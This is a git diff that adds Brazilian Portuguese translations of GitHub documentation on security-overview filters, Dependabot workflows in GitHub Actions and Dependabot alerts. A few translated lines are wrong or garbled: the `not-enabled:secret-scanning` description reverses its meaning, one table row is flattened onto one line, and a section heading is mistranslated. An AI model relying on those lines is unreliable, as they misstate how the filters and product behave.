-| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
+| Qualifier                       | Descrição                                                                                            |
+| ------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| `enabled:code-scanning`         | Exibe repositórios com {% data variables.product.prodname_code_scanning %} habilitado.             |
+| `not-enabled:code-scanning`     | Exibe repositórios que não têm {% data variables.product.prodname_code_scanning %} habilitado.     |
+| `enabled:secret-scanning`       | Exibe repositórios com {% data variables.product.prodname_secret_scanning %} habilitado.           |
+| `not-enabled:secret-scanning`   | Exibe repositórios com {% data variables.product.prodname_secret_scanning %} habilitado.           |
+| `enabled:dependabot-alerts`     | Exibe repositórios com {% data variables.product.prodname_dependabot_alerts %} habilitado.         |
+| `not-enabled:dependabot-alerts` | Exibe repositórios que não têm {% data variables.product.prodname_dependabot_alerts %} habilitado. |
 
-### Filter by repository type
+### Filtrar por tipo de repositório
 
-| Qualifier | Description |
-| -------- | -------- |
+| Qualifier | Descrição |
+| --------- | --------- |
+|           |           |
 {%- ifversion fpt or ghes > 3.1 or ghec %}
-| `is:public` | Display public repositories. |
+| `is:public` | Exibe repositórios públicos. |
 {% elsif ghes or ghec or ghae %}
-| `is:internal` | Display internal repositories. |
+| `is:internal` | Exibe repositórios internos. |
 {%- endif %}
-| `is:private` | Display private repositories. |
-| `archived:true` | Display archived repositories. |
-| `archived:true` | Display archived repositories. |
+| `is:private` | Exibe repositórios privados. | | `archived:true` | Exibe repositórios arquivados. | | `archived:true` | Exibe repositórios arquivados. |
 
-### Filter by team
+### Filtrar por equipe
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>team:<em>TEAM-NAME</em></code> | Displays repositories that *TEAM-NAME* has admin privileges for. |
+| Qualifier                 | Descrição                                                                         |
+| ------------------------- | --------------------------------------------------------------------------------- |
+| <code>team:<em>TEAM-NAME</em></code> | Exibe os repositórios para os quais *TEAM-NAME* tem privilégios de administrador. |
 
-### Filter by topic
+### Filtrar por tópico
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
+| Qualifier                 | Descrição                                                    |
+| ------------------------- | ------------------------------------------------------------ |
+| <code>topic:<em>TOPIC-NAME</em></code> | Exibe repositórios que são classificados com o *TOPIC-NAME*. |
 
-### Sort the list of alerts
+### Classificar a lista de alertas
 
-| Qualifier | Description |
-| -------- | -------- |
-| `sort:risk` | Sorts the repositories in your security overview by risk. |
-| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. |
-| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. |
-| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. |
-| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. |
+| Qualifier                     | Descrição                                                                                                                                |
+| ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| `sort:risk`                   | Classifica os repositórios na visão geral de segurança por risco.                                                                        |
+| `sort:repos`                  | Classifica alfabeticamente pelo nome os repositórios na sua visão geral de segurança.                                                    |
+| `sort:code-scanning-alerts`   | Classifica os repositórios na visão geral de segurança por número de alertas de {% data variables.product.prodname_code_scanning %}.   |
+| `sort:secret-scanning-alerts` | Classifica os repositórios na visão geral de segurança por número de alertas de {% data variables.product.prodname_secret_scanning %}. |
+| `sort:dependabot-alerts`      | Classifica os repositórios na sua visão geral de segurança por número de {% data variables.product.prodname_dependabot_alerts %}.      |
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
index 9d3a2c3ed5..e012569ca6 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Automating Dependabot with GitHub Actions
-intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.'
+title: Automatizando o Dependabot com GitHub Actions
+intro: 'Exemplos de como você pode usar {% data variables.product.prodname_actions %} para automatizar tarefas comuns de {% data variables.product.prodname_dependabot %} relacionadas.'
 permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.'
 miniTocMaxHeadingLevel: 3
 versions:
@@ -16,32 +16,32 @@ topics:
   - Repositories
   - Dependencies
   - Pull requests
-shortTitle: Use Dependabot with actions
+shortTitle: Usar o Dependabot com ações
 ---
 
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %}
+## Sobre {% data variables.product.prodname_dependabot %} e {% data variables.product.prodname_actions %}
 
-{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request.
+{% data variables.product.prodname_dependabot %} cria pull requests para manter suas dependências atualizadas, e você pode usar {% data variables.product.prodname_actions %} para executar tarefas automatizadas quando estes pull requests forem criados. Por exemplo, busque artefatos adicionais, adicione etiquetas, execute testes ou modifique o pull request.
 
-## Responding to events
+## Respondendo aos eventos
 
-{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently.
+{% data variables.product.prodname_dependabot %} consegue acionar fluxos de trabalho de {% data variables.product.prodname_actions %} nos seus pull requests e comentários. No entanto, certos eventos são tratados de maneira diferente.
 
-For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply:
+Para fluxos de trabalho iniciados por eventos de {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment` e `push`, aplicam-se as restrições a seguir:
 
-- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %}
-- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %}
+- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` tem permissões somente leitura, a menos que seu administrador tenha removido as restrições.{% else %}`GITHUB_TOKEN` tem permissões somente leitura por padrão.{% endif %}
+- {% ifversion ghes = 3.3 %}Os segredos são inacessíveis, a menos que o seu administrador tenha removido restrições.{% else %}Os segredos são preenchidos a partir dos segredos de {% data variables.product.prodname_dependabot %}. Os segredos de {% data variables.product.prodname_actions %} não estão disponíveis.{% endif %}
 
-For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Para obter mais informações, consulte ["Manter seus GitHub Actions e fluxos de trabalho seguro: Evitando solicitações de pwn"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
 {% ifversion fpt or ghec or ghes > 3.3 %}
 
-### Changing `GITHUB_TOKEN` permissions
+### Alterando as permissões de `GITHUB_TOKEN`
 
-By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token:
+Por padrão, os fluxos de trabalho de {% data variables.product.prodname_actions %} acionados por {% data variables.product.prodname_dependabot %} obtêm um `GITHUB_TOKEN` com permissões de somente leitura. Você pode usar a chave de `permissões` no seu fluxo de trabalho para aumentar o acesso do token:
 
 {% raw %}
 
@@ -62,17 +62,17 @@ jobs:
 
 {% endraw %}
 
-For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)."
+Para obter mais informações, consulte "[Modificar as permissões para o GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)".
 
-### Accessing secrets
+### Acessar segredos
 
-When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)".
+Quando um evento de {% data variables.product.prodname_dependabot %} aciona um fluxo de trabalho, os únicos segredos disponíveis para o fluxo de trabalho são segredos de {% data variables.product.prodname_dependabot %}. Os segredos de {% data variables.product.prodname_actions %} não estão disponíveis. Consequentemente, você deve armazenar todos os segredos que são usados por um fluxo de trabalho acionado por eventos {% data variables.product.prodname_dependabot %} como segredos de {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciar segredos criptografados para o Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot). ".
 
-{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)."
+Os segredos de {% data variables.product.prodname_dependabot %} são adicionados ao contexto `segredos` e referenciados usando exatamente a mesma sintaxe que os segredos para {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Segredos criptografados](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)".
 
-If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below.
+Se você tiver um fluxo de trabalho que será acionado por {% data variables.product.prodname_dependabot %} e também por outros atores, a solução mais simples é armazenar o token com as permissões necessárias em uma ação e em um segredo {% data variables.product.prodname_dependabot %} com nomes idênticos. Em seguida, o fluxo de trabalho pode incluir uma única chamada para esses segredos. Se o segredo de {% data variables.product.prodname_dependabot %} tiver um nome diferente, use condições para especificar os segredos corretos para diferentes atores. Para exemplos que usam condições, consulte "[automações comuns](#common-dependabot-automations)" abaixo.
 
-To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used.
+Para acessar um registro de contêiner privado no AWS com um nome de usuário e senha, um fluxo de trabalho deverá incluir um segredo para `nome de usuário` e `senha`. No exemplo abaixo, quando {% data variables.product.prodname_dependabot %} aciona o fluxo de trabalho, os segredos de {% data variables.product.prodname_dependabot %} com os nomes `READONLY_AWS_ACCESS_KEY_ID` e `READONLY_AWS_ACCESS_KEY` são usados. Se outro ator disparar o fluxo de trabalho, as ações secretas com esses nomes serão usadas.
 
 {% raw %}
 
@@ -108,17 +108,17 @@ jobs:
 
 {% note %}
 
-**Note:** Your site administrator can override these restrictions for {% data variables.product.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)."
+**Observação:** O administrador do seu site pode substituir essas restrições para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Solucionar problemas de {% data variables.product.prodname_actions %} para a sua empresa](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)."
 
-If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies.
+Se as restrições forem removidas, quando um fluxo de trabalho é acionado por {% data variables.product.prodname_dependabot %}, ele terá acesso a segredos de {% data variables.product.prodname_actions %} e poderá usar o termo `permissões` para aumentar o escopo padrão do `GITHUB_TOKEN` de acesso somente leitura. Você pode ignorar as etapas specíficas nas seções "Gerenciando eventos de `pull_request` " e "Gerenciando eventos de `push`", pois elas não se aplicam mais.
 
 {% endnote %}
 
-### Handling `pull_request` events
+### Manipulando eventos de `pull_request`
 
-If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)."
+Se o fluxo de trabalho precisar de acesso a segredos ou um `GITHUB_TOKEN` com permissões de gravação, você tem duas opções: usar `pull_request_target` ou usar dois fluxos de trabalho separados. Nós iremos detalhar o uso de `pull_request_target` nesta seção e o uso de dois fluxos de trabalho abaixo em "[Gerenciar `eventos`de push](#handling-push-events)".
 
-Below is a simple example of a `pull_request` workflow that might now be failing:
+Abaixo está um exemplo simples de um fluxo de trabalho `pull_request` que agora pode ter falha:
 
 {% raw %}
 
@@ -139,11 +139,11 @@ jobs:
 
 {% endraw %}
 
-You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`.
+Você pode substituir `pull_request` com `pull_request_target`, que é usado para pull requests a partir da bifurcação e fazer checkout explicitamente do `HEAD` do o pull request.
 
 {% warning %}
 
-**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)."
+**Aviso:** Usar `pull_request_target` como um substituto para `pull_request` expõe você a um comportamento inseguro. Recomendamos que você use o método de fluxo de trabalho, conforme descrito abaixo em "[Gerenciar `eventos` de push](#handling-push-events).
 
 {% endwarning %}
 
@@ -172,13 +172,13 @@ jobs:
 
 {% endraw %}
 
-It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+Também é altamente recomendável que você reduza o escopo das permissões concedidas ao `GITHUB_TOKEN` para evitar vazamento de um token com mais privilégios do que o necessário. Para obter mais informações, consulte "[Permissões para o `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".
 
-### Handling `push` events
+### Gerenciar `eventos` de push
 
-As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing.
+Como não há nenhum `pull_request_target` equivalente para eventos `push`, você terá que usar dois fluxos de trabalho: um fluxo de trabalho não confiável que termina fazendo o upload de artefatos, que aciona um segundo fluxo de trabalho confiável que faz o download de artefatos e continua processando.
 
-The first workflow performs any untrusted work:
+O primeiro fluxo de trabalho executa qualquer trabalho não confiável:
 
 {% raw %}
 
@@ -198,7 +198,7 @@ jobs:
 
 {% endraw %}
 
-The second workflow performs trusted work after the first workflow completes successfully:
+O segundo fluxo de trabalho executa trabalho confiável após a conclusão do primeiro fluxo de trabalho com sucesso:
 
 {% raw %}
 
@@ -226,29 +226,29 @@ jobs:
 
 {% endif %}
 
-### Manually re-running a workflow
+### Reexecutando manualmente um fluxo de trabalho
 
-You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior.
+Você também pode executar novamente um fluxo de trabalho pendente no Dependabot, e ele será executado com um token de leitura-gravação e acesso a segredos. Antes de executar manualmente um fluxo de trabalho com falha, você deve sempre verificar se a dependência está sendo atualizada para garantir que a mudança não introduza qualquer comportamento malicioso ou não intencional.
 
-## Common Dependabot automations
+## Automações comuns de dependência
 
-Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}.
+Aqui estão vários cenários comuns que podem ser automatizados usando {% data variables.product.prodname_actions %}.
 
 {% ifversion ghes = 3.3 %}
 
 {% note %}
 
-**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows.
+**Observação:** Se o administrador do seu site tiver substituído as restrições para {% data variables.product.prodname_dependabot %} em {% data variables.product.product_location %}, você poderá usar `pull_request` em vez de `pull_request_target` nos fluxos de trabalho a seguir.
 
 {% endnote %}
 
 {% endif %}
 
-### Fetch metadata about a pull request
+### Obter metadados sobre um pull request
 
-A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update.
+Uma grande quantidade de automação supõe o conhecimento do conteúdo do pull request: qual era o nome da dependência, se for uma dependência de produção, e se for uma atualização maior, menor ou de patch.
 
-The `dependabot/fetch-metadata` action provides all that information for you:
+A ação `dependabot/fetch-metadata` fornece todas as informações para você:
 
 {% ifversion ghes = 3.3 %}
 
@@ -314,13 +314,13 @@ jobs:
 
 {% endif %}
 
-For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository.
+Para obter mais informações, consulte o repositório [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata).
 
-### Label a pull request
+### Etiquetar um pull request
 
-If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided.
+Se você tiver outras automações ou fluxos de trabalho de triagem com base nas etiquetas de {% data variables.product.prodname_dotcom %}, poderá configurar uma ação para atribuir etiquetas com base nos metadados fornecidos.
 
-For example, if you want to flag all production dependency updates with a label:
+Por exemplo, se você quiser sinalizar todas as atualizações de dependências de produção com uma etiqueta:
 
 {% ifversion ghes = 3.3 %}
 
@@ -388,9 +388,9 @@ jobs:
 
 {% endif %}
 
-### Approve a pull request
+### Aprovar um pull request
 
-If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow:
+Se você quiser aprovar automaticamente os pull requests do Dependabot, você poderá usar o {% data variables.product.prodname_cli %} em um fluxo de trabalho:
 
 {% ifversion ghes = 3.3 %}
 
@@ -428,7 +428,7 @@ jobs:
 
 ```yaml
 name: Dependabot auto-approve
-on: pull_request
+on: pull_request_target
 
 permissions:
   pull-requests: write
@@ -454,11 +454,11 @@ jobs:
 
 {% endif %}
 
-### Enable auto-merge on a pull request
+### Habilitar o merge automático em um pull request
 
-If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+Se você quiser fazer merge automático dos seus pull requests, você poderá usar a funcionalidade de merge automático de {% data variables.product.prodname_dotcom %}. Isto permite que o pull request seja mesclado quando todos os testes e aprovações forem cumpridos com sucesso. Para obter mais informações sobre merge automático, consulte "[Fazer merge automático de um pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)".
 
-Here is an example of enabling auto-merge for all patch updates to `my-dependency`:
+Aqui está um exemplo de como habilitar o merge automático para todas as atualizações de patch para `my-dependency`:
 
 {% ifversion ghes = 3.3 %}
 
@@ -526,24 +526,24 @@ jobs:
 
 {% endif %}
 
-## Troubleshooting failed workflow runs
+## Ocorreu uma falha na solução de problemas de execução do fluxo de trabalho
 
-If your workflow run fails, check the following:
+Se a execução do fluxo de trabalho falhar, verifique o seguinte:
 
 {% ifversion ghes = 3.3 %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
-- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
-- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
+- Você só está executando o fluxo de trabalho quando o ator correto o acionar.
+- Você está fazendo o checkout do `ref` correto para o seu `pull_request`.
+- Você não está tentando acessar segredos de dentro de um evento acionado por Dependabot `pull_request`, `pull_request_review`, `pull_request_review_comment` ou `push`.
+- Você não está tentando executar qualquer ação de `gravar` de dentro de um evento acionado pelo Dependabot `pull_request`, `pull_request_review`, `pull_request_review_comment` ou `push`.
 
 {% else %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
-- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets.
-- You have a `GITHUB_TOKEN` with the correct permissions.
+- Você só está executando o fluxo de trabalho quando o ator correto o acionar.
+- Você está fazendo o checkout do `ref` correto para o seu `pull_request`.
+- Os seus segredos estão disponíveis nos secredos de {% data variables.product.prodname_dependabot %}, ao invés estar nos segredos de {% data variables.product.prodname_actions %}.
+- Você tem um `GITHUB_TOKEN` com as permissões corretas.
 
 {% endif %}
 
-For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)."
+Para obter informações sobre gravação e depuração de {% data variables.product.prodname_actions %}, consulte "[Conhecendo o GitHub Actions](/actions/learn-github-actions)".
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
index 1312ef64f1..b148756a2d 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
@@ -1,6 +1,6 @@
 ---
-title: About alerts for vulnerable dependencies
-intro: '{% data variables.product.product_name %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect vulnerabilities affecting your repository.'
+title: Sobre alertas para dependências vulneráveis
+intro: 'O {% data variables.product.product_name %} envia {% data variables.product.prodname_dependabot_alerts %} quando detectamos vulnerabilidades que afetam o seu repositório.'
 redirect_from:
   - /articles/about-security-alerts-for-vulnerable-dependencies
   - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies
@@ -18,82 +18,83 @@ topics:
   - Vulnerabilities
   - Repositories
   - Dependencies
-shortTitle: Dependabot alerts
+shortTitle: Alertas do Dependabot
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "About alerts for vulnerable dependencies ".-->
 
-## About vulnerable dependencies
+## Sobre as dependências vulneráveis
 
 {% data reusables.repositories.a-vulnerability-is %}
 
-When your code depends on a package that has a security vulnerability, this vulnerable dependency can cause a range of problems for your project or the people who use it.
+Quando o seu código depende de um pacote que tenha uma vulnerabilidade de segurança, essa dependência vulnerável pode causar uma série de problemas para o seu projeto ou para as pessoas que o usam.
 
-## Detection of vulnerable dependencies
+## Detecção de dependências vulneráveis
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
+{% data variables.product.prodname_dependabot %} faz a digitalização para detectar dependências vulneráveis e envia {% data variables.product.prodname_dependabot_alerts %} quando:
 
 {% ifversion fpt or ghec %}
-- A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
-- New advisory data is synchronized to {% data variables.product.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
+- Uma nova vulnerabilidade foi adicionada ao {% data variables.product.prodname_advisory_database %}. Para obter mais informações, consulte "[Pesquisar vulnerabilidades de segurança em {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" e "[Sobre {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
+- São sincronizados novos dados de consultoria com {% data variables.product.product_location %} a cada hora a partir de {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
   {% note %}
 
-  **Note:** Only advisories that have been reviewed by {% data variables.product.company_short %} will trigger {% data variables.product.prodname_dependabot_alerts %}.
+  **Observação:** Apenas consultorias que foram revisados por {% data variables.product.company_short %} irão acionar {% data variables.product.prodname_dependabot_alerts %}.
 
   {% endnote %}
-- The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)."
+- O gráfico de dependências para alterações de repositório. Por exemplo, quando um colaborador faz push de um commit para alterar os pacotes ou versões de que depende{% ifversion fpt or ghec %} ou quando o código de uma das alterações das dependências{% endif %}. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/code-security/supply-chain-security/about-the-dependency-graph)".
 
 {% data reusables.repositories.dependency-review %}
 
-For a list of the ecosystems that {% data variables.product.product_name %} can detect vulnerabilities and dependencies for, see "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)."
+Para obter uma lista dos ecossistemas para os quais o {% data variables.product.product_name %} pode detectar vulnerabilidades e dependências, consulte "[Ecossistemas de pacotes compatíveis](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)".
 
 {% note %}
 
-**Note:** It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for vulnerable dependencies that you use. You may also get alerts for dependencies that you no longer use.
+**Observação:** É importante manter seus manifestos atualizados e seu arquivos bloqueados. Se o gráfico de dependências não refletir corretamente suas dependências e versões atuais, você poderá perder alertas para dependências vulneráveis que você usar. Você também pode receber alertas de dependências que você já não usa.
 
 {% endnote %}
 
-##  {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies
+## {% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis
 
 {% data reusables.repositories.enable-security-alerts %}
 
-{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies in _public_ repositories and generates {% data variables.product.prodname_dependabot_alerts %} by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories.
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detecta dependências vulneráveis em repositórios _públicos_ e gera {% data variables.product.prodname_dependabot_alerts %} por padrão. Os proprietários de repositórios privados ou pessoas com acesso de administrador, podem habilitar o {% data variables.product.prodname_dependabot_alerts %} ativando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} para seus repositórios.
 
-You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Você também pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_alerts %} para todos os repositórios pertencentes à sua conta de usuário ou organização. Para mais informações consulte "[Gerenciar as configurações de segurança e análise da sua conta de usuário](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" ou "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 
-For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)."
+Para obter informações sobre os requisitos de acesso para ações relacionadas a {% data variables.product.prodname_dependabot_alerts %}, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)".
 
-{% data variables.product.product_name %} starts generating the dependency graph immediately and generates alerts for any vulnerable dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)."
